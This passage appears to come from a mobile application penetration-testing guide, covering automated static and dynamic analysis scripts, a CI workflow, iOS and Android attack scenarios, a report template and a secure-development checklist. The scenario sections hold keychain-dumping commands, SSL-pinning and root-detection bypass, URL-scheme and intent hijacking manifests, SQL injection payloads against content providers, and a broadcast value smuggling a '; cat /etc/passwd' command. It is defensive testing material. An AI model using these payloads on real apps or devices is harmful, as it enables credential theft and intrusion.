'WRITE_EXTERNAL_STORAGE', 'READ_EXTERNAL_STORAGE',
'CAMERA', 'RECORD_AUDIO', 'ACCESS_FINE_LOCATION'
]
found_perms = [p for p in dangerous_perms if p in manifest]
self.results['dangerous_permissions'] = found_perms
# Check for exported components
exported_components = []
if 'android:exported="true"' in manifest:
exported_components.append("Found exported components")
self.results['exported_components'] = exported_components
def dynamic_analysis(self):
"""Run dynamic analysis with Frida"""
print("[*] Running dynamic analysis...")
# Start Frida server
subprocess.run(['adb', 'shell', 'su', '-c', '/data/local/tmp/frida-server &'])
# Run security bypass script
frida_script = """
Java.perform(function() {
// Basic security bypass hooks
console.log("[*] Security testing script loaded");
});
"""
with open('test_script.js', 'w') as f:
f.write(frida_script)
# Execute Frida script
package_name = self.get_package_name()
subprocess.run(['frida', '-U', '-l', 'test_script.js', package_name])
def get_package_name(self):
"""Extract package name from APK"""
result = subprocess.run(['aapt', 'dump', 'badging', self.app_path],
capture_output=True, text=True)
for line in result.stdout.split('\n'):
if line.startswith('package:'):
return line.split("name='")[1].split("'")[0]
return None
def network_analysis(self):
"""Analyze network traffic"""
print("[*] Running network analysis...")
# Check for HTTP usage
if self.app_path.endswith('.apk'):
subprocess.run(['grep', '-r', 'http://', 'app_decompiled/'])
# Start proxy and capture traffic
self.results['network_issues'] = []
def generate_report(self):
"""Generate security assessment report"""
print("\n" + "="*50)
print("MOBILE SECURITY ASSESSMENT REPORT")
print("="*50)
for category, findings in self.results.items():
print(f"\n{category.upper()}:")
for finding in findings:
print(f" - {finding}")
# Save to JSON
with open('security_report.json', 'w') as f:
json.dump(self.results, f, indent=2)
# Usage example:
# tester = MobileSecurityTester('app.apk')
# tester.static_analysis()
# tester.dynamic_analysis()
# tester.generate_report()
Continuous Security Testing#
CI/CD Integration:
# .github/workflows/mobile-security.yml
name: Mobile Security Testing
on:
push:
branches: [ main, develop ]
pull_request:
branches: [ main ]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.9
- name: Install dependencies
run: |
pip install qark mobsfscan
sudo apt-get install -y apktool
- name: Run QARK Analysis
run: |
qark --java ./app/src/main/java --report-type json --output qark-report.json
- name: Run MobSF Scan
run: |
mobsfscan ./app --json --output mobsf-report.json
- name: Upload Security Reports
uses: actions/upload-artifact@v2
with:
name: security-reports
path: |
qark-report.json
mobsf-report.json
Custom Security Testing Pipeline:
#!/bin/bash
# mobile_security_pipeline.sh
APP_PATH="$1"
DEVICE_ID="$2"
echo "[*] Starting Mobile Security Testing Pipeline"
# Static Analysis
echo "[*] Running Static Analysis..."
mobsfscan "$APP_PATH" --json --output static-analysis.json
# Extract APK for manual analysis
if [[ "$APP_PATH" == *.apk ]]; then
echo "[*] Extracting APK..."
apktool d "$APP_PATH" -o app_extracted -f
# Check for common vulnerabilities
echo "[*] Checking for hardcoded secrets..."
grep -r -i -E "(password|secret|key|token)" app_extracted/ > secrets_check.txt
# Check permissions
echo "[*] Analyzing permissions..."
grep "uses-permission" app_extracted/AndroidManifest.xml > permissions.txt
# Check for exported components
echo "[*] Checking exported components..."
grep -A 5 'android:exported="true"' app_extracted/AndroidManifest.xml > exported_components.txt
fi
# Dynamic Analysis Setup
echo "[*] Setting up dynamic analysis..."
if [ ! -z "$DEVICE_ID" ]; then
# Install app on device
adb -s "$DEVICE_ID" install "$APP_PATH"
# Start Frida server
adb -s "$DEVICE_ID" shell "su -c '/data/local/tmp/frida-server &'"
# Run basic security tests
PACKAGE_NAME=$(aapt dump badging "$APP_PATH" | grep package | sed "s/.*name='\([^']*\)'.*/\1/")
echo "[*] Testing app: $PACKAGE_NAME"
# Test with objection
timeout 60 objection -g "$PACKAGE_NAME" run "android sslpinning disable" "android root disable"
fi
# Generate final report
echo "[*] Generating security report..."
cat > security_report.html << EOF
<!DOCTYPE html>
<html>
<head>
<title>Mobile Security Assessment Report</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.high { color: red; font-weight: bold; }
.medium { color: orange; font-weight: bold; }
.low { color: green; }
.finding { margin: 10px 0; padding: 10px; border-left: 4px solid #ccc; }
</style>
</head>
<body>
<h1>Mobile Security Assessment Report</h1>
<h2>Application: $(basename "$APP_PATH")</h2>
<h2>Date: $(date)</h2>
<h3>Static Analysis Results:</h3>
<div class="finding">
<h4>Hardcoded Secrets Check:</h4>
<pre>$(cat secrets_check.txt 2>/dev/null || echo "No secrets found")</pre>
</div>
<div class="finding">
<h4>Permissions Analysis:</h4>
<pre>$(cat permissions.txt 2>/dev/null || echo "No permissions file")</pre>
</div>
<div class="finding">
<h4>Exported Components:</h4>
<pre>$(cat exported_components.txt 2>/dev/null || echo "No exported components found")</pre>
</div>
<h3>Recommendations:</h3>
<ul>
<li>Remove any hardcoded credentials or sensitive information</li>
<li>Implement proper certificate pinning</li>
<li>Add root/jailbreak detection if appropriate</li>
<li>Ensure exported components have proper access controls</li>
<li>Use encrypted storage for sensitive data</li>
</ul>
</body>
</html>
EOF
echo "[*] Security assessment complete. Report saved as security_report.html"
Mobile-Specific Attack Scenarios#
iOS Attack Scenarios#
Scenario 1: iCloud Keychain Exploitation
# Test keychain access on jailbroken device
# SSH into device and examine keychain
ssh root@<iOS_DEVICE_IP>
# Dump keychain items
/usr/bin/keychain_dumper
# Look for app-specific keychain items
sqlite3 /var/Keychains/keychain-2.db "SELECT * FROM inet WHERE srvr LIKE '%appname%';"
# Extract keychain data using objection
objection -g <bundle_id> explore
ios keychain dump --json
Scenario 2: URL Scheme Hijacking
# Create malicious app with same URL scheme
# In Info.plist of malicious app:
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleURLName</key>
<string>com.victim.app.url</string>
<key>CFBundleURLSchemes</key>
<array>
<string>victimapp</string>
</array>
</dict>
</array>
# Test URL scheme interception
adb shell am start -W -a android.intent.action.VIEW -d "victimapp://sensitive?token=12345"
Scenario 3: Pasteboard (Clipboard) Data Leakage
// Frida script to monitor pasteboard
ObjC.choose(ObjC.classes.UIPasteboard, {
onMatch: function(instance) {
console.log("[*] Found UIPasteboard instance");
// Hook string property
var originalString = instance.string;
Object.defineProperty(instance, 'string', {
get: function() {
var value = originalString.call(this);
console.log("[*] Pasteboard read: " + value);
return value;
},
set: function(value) {
console.log("[*] Pasteboard write: " + value);
return originalString.call(this, value);
}
});
},
onComplete: function() {}
});
Android Attack Scenarios#
Scenario 1: Intent Redirection Attack
# Create malicious app to intercept intents
# In AndroidManifest.xml:
<activity android:name=".MaliciousActivity" android:exported="true">
<intent-filter android:priority="1000">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="victimapp" />
</intent-filter>
</activity>
# Test intent interception
adb shell am start -W -a android.intent.action.VIEW -d "victimapp://transfer?amount=1000&to=attacker"
Scenario 2: Content Provider SQL Injection
# Test content provider for SQL injection
adb shell content query --uri "content://com.victim.app.provider/users" --where "id=1"
# SQL injection payloads
adb shell content query --uri "content://com.victim.app.provider/users" --where "id=1' OR '1'='1"
adb shell content query --uri "content://com.victim.app.provider/users" --where "id=1' UNION SELECT password FROM admin--"
# Test with different injection points
adb shell content query --uri "content://com.victim.app.provider/users/1' OR '1'='1--"
Scenario 3: Broadcast Receiver Exploitation
# Send malicious broadcasts to exported receivers
adb shell am broadcast -a com.victim.app.ACTION_UPDATE --es "config" "malicious_payload"
# Test for command injection in broadcast data
adb shell am broadcast -a com.victim.app.ACTION_BACKUP --es "path" "/data/data/com.victim.app/; cat /etc/passwd"
# Test privilege escalation through broadcasts
adb shell am broadcast -a com.victim.app.ADMIN_ACTION --ez "is_admin" true
Reporting and Documentation#
Security Assessment Report Template:
# Mobile Application Security Assessment
## Executive Summary
- **Application:** [App Name] v[Version]
- **Platform:** [iOS/Android/Both]
- **Assessment Date:** [Date]
- **Assessor:** [Name]
### Risk Summary
- **Critical:** X issues
- **High:** X issues
- **Medium:** X issues
- **Low:** X issues
## Methodology
### Static Analysis
- Code review using [tools used]
- Manifest/plist analysis
- Binary analysis
### Dynamic Analysis
- Runtime manipulation using Frida/Objection
- Network traffic analysis
- Data storage examination
## Findings
### [CRITICAL] Hardcoded API Keys
**Description:** API keys hardcoded in application binary
**Location:** [File/Class/Method]
**Impact:** Unauthorized API access, data breach
**Evidence:**
[Code snippet or screenshot]
**Recommendation:** Use secure key management, environment variables
### [HIGH] SSL Certificate Pinning Bypass
**Description:** Application vulnerable to MITM attacks
**Testing Method:** [Steps to reproduce]
**Impact:** Sensitive data interception
**Recommendation:** Implement proper certificate pinning
## Risk Assessment Matrix
| Finding | Likelihood | Impact | Risk Level |
|---------|------------|---------|------------|
| Hardcoded Secrets | High | High | Critical |
| Weak Crypto | Medium | High | High |
| Info Disclosure | High | Medium | High |
## Remediation Timeline
- **Critical/High:** 30 days
- **Medium:** 60 days
- **Low:** 90 days
## Conclusion
[Summary of key findings and overall security posture]
Final Best Practices#
Development Security Guidelines:
## Secure Mobile Development Checklist
### Data Protection
- [ ] Use encrypted storage for sensitive data
- [ ] Implement proper keychain/keystore usage
- [ ] Avoid logging sensitive information
- [ ] Use secure communication protocols
### Authentication & Authorization
- [ ] Implement strong authentication mechanisms
- [ ] Use secure session management
- [ ] Implement proper authorization checks
- [ ] Add biometric authentication where appropriate
### Network Security
- [ ] Implement certificate pinning
- [ ] Use TLS 1.2 or higher
- [ ] Validate all certificates
- [ ] Avoid HTTP for sensitive data
### Code Protection
- [ ] Implement anti-tampering measures
- [ ] Add obfuscation for sensitive code
- [ ] Remove debug code from production
- [ ] Implement integrity checks
### Input Validation
- [ ] Validate all user inputs
- [ ] Sanitize data for database queries
- [ ] Implement proper error handling
- [ ] Use parameterized queries
### Testing Requirements
- [ ] Conduct regular security assessments
- [ ] Implement automated security testing
- [ ] Perform penetration testing
- [ ] Review third-party dependencies